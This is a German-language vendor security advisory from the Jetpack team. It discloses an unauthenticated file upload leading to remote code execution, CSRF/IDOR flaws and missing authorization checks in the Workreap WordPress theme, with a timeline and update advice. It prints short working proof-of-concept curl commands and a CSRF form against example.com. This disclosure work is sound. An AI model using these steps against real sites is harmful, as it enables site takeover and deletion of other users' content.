Mehrere Schwachstellen im Workreap-Theme von Amentotech

Kürzlich entdeckte das Jetpack-Team infizierte Dateien auf der Website eines unserer Hosting-Kunden und konnte die Infektionsquelle schnell zum Workreap-Theme von Amentotech zurückverfolgen. Wir leiteten eine Untersuchung ein und entdeckten eine Reihe anfälliger AJAX-Endpunkte im Theme. Die schwerwiegendste Schwachstelle war ein nicht authentifizierter, nicht validierter Upload, der möglicherweise zur Remote-Code-Ausführung und vollständigen Übernahme der Website führen konnte.

Wir meldeten die Schwachstellen dem Amentotech-Team über das Envato Helpful Hacker-Programm, und die Probleme wurden von diesem umgehend behoben. Version 2.2.2 des Themes wurde am 29. Juni 2021 veröffentlicht und behebt die gefundenen Schwachstellen.

TL;DR

Aufgrund der Schwere der Schwachstellen empfehlen wir allen Nutzern des Workreap-Themes dringend, so bald wie möglich auf Version 2.2.2 oder höher zu aktualisieren.

Laden Sie das Update von der Theme-Website herunter und installieren Sie es manuell, oder aktualisieren Sie es automatisch über das Envato-Market-Plugin.

Details

Theme-Name: Workreap
Theme-URI: http://amentotech.com/projects/wpworkreap
Autor: Amentotech
Autor-URI:  https://themeforest.net/user/amentotech/portfolio

Die Schwachstellen

Aufgrund der Schwere der Schwachstellen werden wir die Veröffentlichung des Proof of Concept und der vollständigen Analyse verschieben, damit die Nutzer Zeit für ein Upgrade haben.

Nicht authentifizierter Upload mit anschließender Remote-Code-Ausführung

Betroffene Versionen: < 2.2.2
CVE-ID: CVE-2021-24499
CVSSv3.1: 10.0
CWE: CWE-284, CWE-641,
CWSS: 90.7
WPScan-Link: https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb

Die AJAX-Aktionen workreap_award_temp_file_uploader und workreap_temp_file_uploader führten keine Nonce-Prüfungen durch und überprüften auch auf keine andere Weise, ob die Anfrage von einem gültigen Benutzer stammte. Die Endpunkte ermöglichten das Hochladen beliebiger Dateien in das uploads/workreap-temp-Verzeichnis. Die hochgeladenen Dateien wurden weder bereinigt noch validiert, sodass ein nicht authentifizierter Besucher ausführbaren Code wie PHP-Skripte hochladen konnte.

Proof of Concept

% curl -F 'action=workreap_award_temp_file_uploader' -F award_img=@malicious.php 'https://example.com/wp-admin/admin-ajax.php'
{"type":"success","message":"File uploaded!","thumbnail":"https:\/\/example.com\/wp-content\/uploads\/workreap-temp\/malicious.php","name":"malicious.php","size":"24.00 B"}

% curl 'https://example.com/wp-content/uploads/workreap-temp/malicious.php'
PWNED!

Mehrere CSRF- und IDOR-Schwachstellen

Betroffene Versionen: < 2.2.2
CVE-ID: CVE-2021-24500
CVSSv3.1: 8.2
CWE: CWE-283, CWE-284, CWE-862
CWSS: 78.3
WPScan-Link: https://wpscan.com/vulnerability/0c4b5ecc-54d0-45ec-9f92-b2ca3cadbe56

Mehrere im Workreap-Theme verfügbare AJAX-Aktionen verfügten nicht über CSRF-Schutz und ermöglichten außerdem unsichere direkte Objektverweise (IDOR), die nicht validiert wurden. Dadurch kann ein Angreifer einen angemeldeten Benutzer dazu bringen, eine POST-Anfrage an die anfällige Website zu senden, wodurch möglicherweise beliebige Objekte auf der Ziel-Website geändert oder gelöscht werden können.

In Versionen vor 2.0.0 verfügten diese Aktionen überhaupt nicht über eine Authentifizierung und konnten von jedem Besucher der Website ausgenutzt werden.

Proof of Concept

<form action="https:/example.com/wp-admin/admin-ajax.php" method="POST">
    <input name="action" type="hidden" value="workreap_portfolio_remove">
    <!-- note value does not have to be a portfolio, any post id will do -->
    <input name="id" type="hidden" value="1361">
    <input type="submit" value="Get rich!">
</form>

Fehlende Autorisierungsprüfungen in AJAX-Aktionen

Betroffene Versionen: < 2.2.2
CVE-ID: CVE-2021-24501
CVSSv3.1: 7.1
CWE: CWE-283, CWE-862
CWSS: 68.5
WPScan-Link: https://wpscan.com/vulnerability/66e4aaf4-5ef7-4da8-a45c-e24f449c363e

Bei mehreren im Workreap-Theme verfügbaren AJAX-Aktionen fehlten Autorisierungsprüfungen, mit denen hätte verifiziert werden können, dass ein Benutzer zur Durchführung kritischer Vorgänge wie dem Ändern oder Löschen von Objekten berechtigt war. Dadurch konnte ein angemeldeter Benutzer Objekte anderer Benutzer auf der Website ändern oder löschen.

In Versionen vor 2.0.0 verfügen diese Aktionen überhaupt nicht über eine Authentifizierung und können von jedem Besucher der Website ausgenutzt werden.

Proof of Concept

# log in as arbitrary freelancer
curl -c .cookies -F action=workreap_ajax_login -F username=balle -F password=hunter2 \
  https://example.com/wp-admin/admin-ajax.php
{"job":"no","type":"success","role_type":"freelancers","redirect":"https:\/\/example.com\/dashboard\/?ref=profile&mode=settings&identity=3","url":"https:\/\/example.com\/","loggedin":true,"message":"Successfully Logged in"}%                                                                                                     

# delete arbitrary portfolio
curl -s -b .cookies -F action=workreap_portfolio_remove -F id=1361 \
  https://example.com/wp-admin/admin-ajax.php
{"type":"success","message":"Portfolio removed successfully."}

Zeitplan

24.06.2021: Die anfängliche Upload-Schwachstelle wurde vom Jetpack Scan-Team entdeckt und dem Envato Helpful Hacker-Programm gemeldet.
25.06.2021: Weitere entdeckte Schwachstellen wurden dokumentiert und Amentotech über Envato informiert.
27.06.2021: Version 2.2.1 wurde veröffentlicht und behob einige, aber nicht alle Schwachstellen.
29.06.2021: Version 2.2.2 wurde veröffentlicht und die Fehlerbehebungen vom Jetpack Scan-Team verifiziert.

Fazit

Wir empfehlen, die aktuell auf Ihrer Website verwendete Version des Workreap-Themes zu überprüfen und sie so bald wie möglich zu aktualisieren, falls sie älter als Version 2.2.2 ist!

Bei Jetpack setzen wir alles daran, sicherzustellen, dass Ihre Websites vor dieser Art von Sicherheitslücken geschützt sind. Um neuen Bedrohungen stets einen Schritt voraus zu sein, sehen Sie sich Jetpack Scan an, das Sicherheitsscans und die automatische Entfernung von Malware umfasst.

Danksagungen

Ursprünglicher Forscher: Harald Eilertsen

Vielen Dank an das restliche Jetpack Scan-Team für Feedback, Unterstützung und Korrekturen. Unser Dank gilt auch kailoon vom Envato Helpful Hacker-Programm für die Unterstützung bei der Kontaktaufnahme mit Amentotech sowie Amentotech für die schnelle Reaktion bei der Behebung der Probleme und der Veröffentlichung der aktualisierten Version.

Entdecke die Vorteile von Jetpack

Erfahre, wie Jetpack deine WordPress-Website schützen, beschleunigen und beim Wachstum unterstützen kann.

Tarife entdecken

Hast du eine Frage?

Kommentare sind für diesen Artikel geschlossen, aber wir helfen dir trotzdem gerne weiter! Besuche das Support-Forum – wir beantworten dort gerne deine Fragen.

Support-Forum anzeigen